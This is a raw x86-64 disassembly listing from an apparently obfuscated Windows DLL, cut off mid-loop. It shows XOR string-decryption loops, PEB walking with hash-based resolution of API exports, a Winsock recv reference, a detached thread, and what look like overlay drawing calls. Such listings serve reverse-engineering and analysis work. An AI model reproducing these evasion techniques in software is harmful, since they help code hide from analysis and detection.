cmp r8d, 0x10
jl 0x1800a9940
lea rdx, [rbp + 0xcb8]
lea rcx, [rbp + 0x1df0]
call fcn.180002c70
test al, al
je 0x1800a9992
mov byte [0x1802491a4], 1
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
movzx eax, byte [0x1801c46e8]
mov r8d, r14d
mov byte [rbp + 0x1ff0], al
movups xmm0, xmmword [0x1801c46d8]
movups xmmword [rbp + 0x1fe0], xmm0
cmp r12d, 2
jl 0x1800a9adb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1fe4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a99e0
cmp r8d, 0x11
jge 0x1800a9b24
movsxd rax, r8d
lea r9, [rbp + 0x1fe0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a9af0
lea rdx, [0x1802491a5]
lea rcx, [rbp + 0x1fe0]
call fcn.1800032d0
lea rcx, [rbp + 0xcc0]
call fcn.180016840
movups xmm1, xmmword [0x1801c46f0]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1ee0], xmm1
mov dword [rbp + 0xccc], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0xcc8], xmm0
test al, al
je 0x1800a9cd4
cmp r12d, 2
jl 0x1800a9c95
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1ee4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a9ba0
jmp 0x1800a9cd4
lea r9, [rbp + 0x1ee0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a9ca0
lea rdx, [rbp + 0xcc8]
lea rcx, [rbp + 0x1ee0]
call fcn.180002c70
test al, al
je 0x1800a9cf2
mov byte [0x1802491a4], 1
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0xcd0]
call fcn.180016840
mov r8d, r14d
movss xmm0, dword [rax]
mov eax, dword [0x1801c4708]
movss dword [rbp + 0xcd8], xmm0
movsd xmm0, qword [0x1801c4700]
mov dword [rbp + 0x1938], eax
movzx eax, byte [0x1801c470c]
movsd qword [rbp + 0x1930], xmm0
mov byte [rbp + 0x193c], al
mov dword [rbp + 0xcdc], 0x42200000
cmp r12d, 2
jl 0x1800a9e45
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4700]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1930], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1934]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1934], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1930]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a9e60
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0x1930]
call fcn.180002c70
test al, al
je 0x1800aa3d1
lea r15, [0x18024b4e0]
mov rcx, r15
lea rdx, [rbp + 0x3040]
call fcn.1800b5a40
mov eax, dword [0x1801c4710]
lea rcx, [rbp + 0x168]
mov dword [rbp + 0x168], eax
movzx eax, word [0x1801c4714]
xor byte [rbp + 0x169], 0x37
xor byte [rbp + 0x16a], 0x38
xor byte [rbp + 0x16b], 0x39
mov word [rbp + 0x16c], ax
xor al, 0x3a
xor byte [rbp + 0x16d], 0x3b
mov byte [rbp + 0x16c], al
mov rax, r13
mov byte [rbp + 0x168], 0x62
inc rax
cmp byte [rcx + rax], r14b
jne 0x1800a9f14
mov rsi, qword [rbp + 0x3058]
lea rcx, [rbp + 0x3040]
mov rdi, qword [rbp + 0x3040]
cmp rsi, 0xf
mov rbx, qword [rbp + 0x3050]
cmova rcx, rdi
cmp rbx, rax
jne 0x1800a9f5d
mov r8, rbx
lea rdx, [rbp + 0x168]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1800aa268
mov eax, dword [0x1801c4718]
lea rcx, [rbp + 0x170]
mov dword [rbp + 0x170], eax
movzx eax, word [0x1801c471c]
xor byte [rbp + 0x171], 0x37
xor byte [rbp + 0x172], 0x38
xor byte [rbp + 0x173], 0x39
mov word [rbp + 0x174], ax
xor al, 0x3a
xor byte [rbp + 0x175], 0x3b
mov byte [rbp + 0x174], al
mov rax, r13
mov byte [rbp + 0x170], 0x62
nop dword [rax]
inc rax
cmp byte [rcx + rax], r14b
jne 0x1800a9fb0
cmp rsi, 0xf
lea rcx, [rbp + 0x3040]
cmova rcx, rdi
cmp rbx, rax
jne 0x1800a9fe4
mov r8, rbx
lea rdx, [rbp + 0x170]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1800aa268
mov eax, dword [0x1801c4720]
lea rdx, [rbp + 0x178]
mov dword [rbp + 0x178], eax
lea rcx, [rbp + 0x3040]
movzx eax, word [0x1801c4724]
xor byte [rbp + 0x179], 0x37
xor byte [rbp + 0x17a], 0x38
xor byte [rbp + 0x17b], 0x39
mov word [rbp + 0x17c], ax
xor al, 0x3a
xor byte [rbp + 0x17d], 0x3b
mov byte [rbp + 0x17c], al
mov byte [rbp + 0x178], 0x62
call fcn.180054230
test al, al
jne 0x1800aa268
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800aa0d5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800aa0d5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0xb290f74
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800aa0d0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800aa0b0
cmp edx, 0x1cae33ae
je 0x1800aa0da
test r9d, r9d
jne 0x1800aa090
mov rax, qword [rax]
jmp 0x1800aa060
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
lea rax, [rbp + 0x2ef8]
mov dword [rbp + 0x2ef8], 0x1f4
mov qword [rbp + 0x1dd8], rax
mov ecx, reloc.WS2_32.dll_recv
xor eax, eax
mov qword [rbp + 0x1dd0], r15
mov qword [rbp + 0x2f70], rax
call fcn.1801a8d04
test rax, rax
je 0x1800aa136
movups xmm0, xmmword [rbp + 0x1dd0]
movups xmmword [rax], xmm0
jmp 0x1800aa139
mov rax, r14
lea rcx, [rbp + 0x1dc8]
mov qword [rbp + 0x2f70], rax
mov qword [rsp + 0x28], rcx
lea r8, [0x180057930]
xor ecx, ecx
mov dword [rsp + 0x20], r14d
mov r9, rax
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1dc0], rax
test rax, rax
je 0x1800ab5bf
mov qword [rbp + 0x2f70], r14
cmp dword [rbp + 0x1dc8], r14d
je 0x1800ab5b4
movaps xmm0, xmmword [rbp + 0x1dc0]
lea rcx, [rbp + 0x2f80]
movdqa xmmword [rbp + 0x2f80], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x1800ab5b4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1dc0], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800aa245
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800aa245
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x506cdd9f
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1800aa240
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1800aa220
cmp edx, 0x8d42c9ed
je 0x1800aa24a
test r9d, r9d
jne 0x1800aa200
mov rax, qword [rax]
jmp 0x1800aa1d0
mov ecx, dword [rbx + 0x24]
mov edx, dword [rbx + 0x1c]
add rcx, r10
add rdx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
call rax
jmp 0x1800aa3c5
mov rbx, qword [0x18024dfc0]
test rbx, rbx
jne 0x1800aa327
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1800aa308
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1800aa308
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
mov ecx, 0x2707f45b
add rdx, r9
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800aa303
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800aa2e0
cmp ecx, 0x6acd9d3a
je 0x1800aa8a0
test r8d, r8d
jne 0x1800aa2c0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x1800aa31d
cmp qword [rax + 0x30], r14
jne 0x1800aa290
mov rbx, r14
mov qword [0x18024dfc0], rbx
movdqa xmm0, xmmword [0x1801c7070]
lea rcx, [rbp + 0x2de8]
movdqa xmm1, xmmword [0x1801c72b0]
movdqu xmmword [rbp + 0x2de8], xmm0
mov byte [rbp + 0x2e18], 2
movdqa xmm0, xmmword [str.b_y.___1]
movdqu xmmword [rbp + 0x2e08], xmm0
mov byte [rbp + 0x2e19], reloc.WLDAP32.dll_Ordinal_26
movdqu xmmword [rbp + 0x2df8], xmm1
mov byte [rbp + 0x2e1a], Ordinal_33
mov byte [rbp + 0x2e1b], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2e1c], Ordinal_27
mov byte [rbp + 0x2e1d], Ordinal_79
mov byte [rbp + 0x2e1e], 0x57
mov byte [rbp + 0x2e1f], Ordinal_79
mov byte [rbp + 0x2e20], 0x47
mov byte [rbp + 0x2e21], r14b
mov byte [rbp + 0x2e22], 1
call fcn.180081d50
xor r9d, r9d
lea r8, [0x1801aec24]
lea rdx, [rbp + 0x2de8]
xor ecx, ecx
call rbx
lea rcx, [rbp + 0x3040]
call fcn.180068dd0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xce8]
addss xmm0, xmm7
mov dword [rbp + 0xce8], 0x44070000
movss dword [rbp + 0xcec], xmm0
call fcn.180025700
movzx ecx, word [0x1801c472c]
lea rdx, [rbp + 0xcf0]
mov eax, dword [str.VQW]
mov r9d, 8
mov dword [rbp + 0x2f0], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2f1], 0x37
xor al, 0x3c
xor byte [rbp + 0x2f2], 0x38
xor byte [rbp + 0x2f3], 0x39
mov word [rbp + 0x2f4], cx
xor cl, 0x3a
xor byte [rbp + 0x2f5], 0x3b
mov byte [rbp + 0x2f4], cl
lea rcx, [rbp + 0x2f0]
mov dword [rbp + 0xcf0], 0x43a00000
mov dword [rbp + 0xcf4], 0x4405c000
mov byte [rbp + 0x2f0], Ordinal_79
mov byte [rbp + 0x2f6], al
call fcn.18000fcc0
lea rcx, [rbp + 0xcf8]
call fcn.180016840
movzx eax, byte [0x1801c4738]
lea rdx, [rbp + 0xd00]
movsd xmm0, qword [0x1801c4730]
lea rcx, [rbp + 0xdf8]
movsd qword [rbp + 0xdf8], xmm0
xor al, 0x3e
xor byte [rbp + 0xdf9], 0x37
xor r9d, r9d
xor byte [rbp + 0xdfa], 0x38
mov r8b, 1
xor byte [rbp + 0xdfb], 0x39
xor byte [rbp + 0xdfc], 0x3a
xor byte [rbp + 0xdfd], 0x3b
xor byte [rbp + 0xdfe], 0x3c
xor byte [rbp + 0xdff], 0x3d
mov byte [rbp + 0xe00], al
mov dword [rbp + 0xd00], 0x43a00000
mov dword [rbp + 0xd04], 0x43ed8000
mov byte [rbp + 0xdf8], 0x53
call fcn.180003d00
call fcn.180006c20
call fcn.180013d50
cmp dword [0x18024dbfc], 3
jne 0x1800ab508
mov ecx, dword [0x18024e310]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov eax, dword [rdx + rax]
cmp dword [0x18024de10], eax
jg 0x1800ab578
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xd08]
addss xmm0, xmm7
mov dword [rbp + 0xd08], 0x43520000
movss dword [rbp + 0xd0c], xmm0
call fcn.180025700
mov eax, dword [str.VQW:]
lea rdx, [rbp + 0xd10]
mov dword [rbp + 0xd0], eax
lea rcx, [rbp + 0xd0]
movzx eax, byte [0x1801c4740]
xor r9d, r9d
xor byte [rbp + 0xd1], 0x37
xor al, 0x3a
xor byte [rbp + 0xd2], 0x38
xor r8d, r8d
xor byte [rbp + 0xd3], 0x39
mov byte [rbp + 0xd4], al
mov dword [rbp + 0xd14], 0x4405c000
mov dword [rbp + 0xd10], 0x43a50000
mov byte [rbp + 0xd0], Ordinal_79
call fcn.18000fcc0
mov eax, dword [0x1801c4750]
mov r8d, r14d
movsd xmm0, qword [str.u_WL]
mov dword [rbp + 0x1948], eax
movzx eax, byte [0x1801c4754]
mov byte [rbp + 0x194c], al
mov dword [rbp + 0x968], 0x43a00000
mov dword [rbp + 0x96c], 0x43ed8000
movsd qword [rbp + 0x1940], xmm0
cmp r12d, 2
jl 0x1800aa71d
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.u_WL]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1940], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1944]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1944], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1940]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800aa730
xor r9d, r9d
lea rdx, [rbp + 0x968]
mov r8b, 1
lea rcx, [rbp + 0x1940]
call fcn.180003d00
cmp byte [0x1801c475f], r14b
mov rax, qword [str.uXV_SOVQW]
mov qword [rbp + 0xce0], rax
mov dword [rbp + 0x970], 0x43b90000
mov dword [rbp + 0x974], 0x43c58000
je 0x1800aa904
cmp r12d, 2
jl 0x1800aa8be
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xce0]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
xorps xmm2, xmm1
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
movd dword [rbp + 0xce0], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xce4]
pmulld xmm0, xmm11
psubd xmm12, xmm0
movd xmm0, eax
andps xmm12, xmm10
packuswb xmm12, xmm12
packuswb xmm12, xmm12
paddb xmm12, xmm0
xorps xmm12, xmm1
movd dword [rbp + 0xce4], xmm12
jmp 0x1800aa904
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r9
add rdx, r9
movzx ecx, word [rcx + r8*2]
mov ebx, dword [rdx + rcx*4]
add rbx, r9
jmp 0x1800aa320
lea r9, [rbp + 0xce0]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800aa8d0
xor r9d, r9d
lea rdx, [rbp + 0x970]
mov r8b, 1
lea rcx, [rbp + 0xce0]
call fcn.18000fcc0
mov rax, qword [0x18024daf8]
mov esi, r14d
mov rdx, qword [0x18024daf0]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x1800aaa74
mov r15, r14
cmp dword [0x1802497d4], esi
lea rbx, [rdx + r15]
mov dword [rbp + 0x308], r14d
mov rcx, rbx
sete dl
mov dword [rbp + 0x30c], r14d
cmp qword [rbx + 0x18], 0xf
jbe 0x1800aa969
mov rcx, qword [rbx]
lea r9, [rbp + 0x308]
xor r8d, r8d
call fcn.180008320
test al, al
je 0x1800aaa4d
mov qword [rbp + 0x2b20], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b10], xmm0
mov qword [rbp + 0x2b28], r14
cmp qword [rbx + 0x18], 0xf
mov rdi, qword [rbx + 0x10]
jbe 0x1800aa9a6
mov rbx, qword [rbx]
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
ja 0x1800ab5ae
cmp rdi, 0xf
ja 0x1800aa9dd
mov qword [rbp + 0x2b20], rdi
mov qword [rbp + 0x2b28], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x2b10], xmm0
jmp 0x1800aaa3a
mov rax, rdi
or rax, 0xf
cmp rax, rcx
jbe 0x1800aa9ee
mov rax, rcx
jmp 0x1800aa9fb
cmp rax, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rax, rcx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x2b10]
call fcn.180054c20
mov rcx, qword [rsp + 0x50]
lea r8, [rdi + 1]
mov qword [rbp + 0x2b28], rcx
mov rdx, rbx
mov rcx, rax
mov qword [rbp + 0x2b10], rax
mov qword [rbp + 0x2b20], rdi
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [0x18020c530]
lea rcx, [rbp + 0x2b10]
call fcn.1800d60b0
mov rcx, qword [0x18024daf8]
inc esi
mov rdx, qword [0x18024daf0]
add r15, 0x20
sub rcx, rdx
movsxd rax, esi
sar rcx, 5
cmp rax, rcx
jb 0x1800aa941
call fcn.180013d50
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x8b0]
addss xmm0, xmm7
mov dword [rbp + 0x8b0], 0x44070000
movss dword [rbp + 0x8b4], xmm0
call fcn.180025700
movzx ecx, word [0x1801c4764]
lea rdx, [rbp + 0x8b8]
mov eax, dword [0x1801c4760]
mov r9d, 8
mov dword [rbp + 0x220], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x221], 0x37
xor al, 0x3c
xor byte [rbp + 0x222], 0x38
xor byte [rbp + 0x223], 0x39
mov word [rbp + 0x224], cx
xor cl, 0x3a
xor byte [rbp + 0x225], 0x3b
mov byte [rbp + 0x224], cl
lea rcx, [rbp + 0x220]
mov dword [rbp + 0x8b8], 0x43a00000
mov dword [rbp + 0x8bc], 0x4405c000
mov byte [rbp + 0x220], Ordinal_79
mov byte [rbp + 0x226], al
call fcn.18000fcc0
lea rcx, [rbp + 0x8c0]
call fcn.180016840
movzx eax, byte [0x1801c4770]
lea rdx, [rbp + 0x8c8]
movsd xmm0, qword [str.eRLMSU_N_]
lea rcx, [rbp + 0xe08]
movsd qword [rbp + 0xe08], xmm0
xor al, 0x3e
xor byte [rbp + 0xe09], 0x37
xor r9d, r9d
xor byte [rbp + 0xe0a], 0x38
mov r8b, 1
xor byte [rbp + 0xe0b], 0x39
xor byte [rbp + 0xe0c], 0x3a
xor byte [rbp + 0xe0d], 0x3b
xor byte [rbp + 0xe0e], 0x3c
xor byte [rbp + 0xe0f], 0x3d
mov byte [rbp + 0xe10], al
mov dword [rbp + 0x8c8], 0x43a00000
mov dword [rbp + 0x8cc], 0x43ed8000
mov byte [rbp + 0xe08], 0x53
call fcn.180003d00
cmp byte [0x1801c4781], r14b
movsd xmm0, qword [str.uXV_S_]
movzx eax, word [0x1801c4780]
movsd qword [rbp + 0x1108], xmm0
mov word [rbp + 0x1110], ax
je 0x1800aac2f
xor byte [rbp + 0x1109], 0x37
xor byte [rbp + 0x110a], 0x38
xor byte [rbp + 0x110b], 0x39
xor byte [rbp + 0x110c], 0x3a
xor byte [rbp + 0x110d], 0x3b
xor byte [rbp + 0x110e], 0x3c
xor byte [rbp + 0x110f], 0x3d
xor byte [rbp + 0x1110], 0x3e
xor byte [rbp + 0x1111], 0x3f
mov byte [rbp + 0x1108], 0x43
lea rdi, [0x18024de20]
mov qword [rsp + 0x28], r14
mov rdx, rdi
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rcx, [rbp + 0x1108]
mov r8d, 0x40
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0x8d0]
call fcn.180016840
cmp byte [0x1801c4799], r14b
movups xmm1, xmmword [str.zXY_]
movss xmm0, dword [rax]
movzx eax, word [0x1801c4798]
mov word [rbp + 0x21e8], ax
movss dword [rbp + 0x8d8], xmm0
mov dword [rbp + 0x8dc], 0x42200000
movups xmmword [rbp + 0x21d8], xmm1
je 0x1800aae14
mov r8d, r14d
cmp r12d, 2
jl 0x1800aadcb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x21dc]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
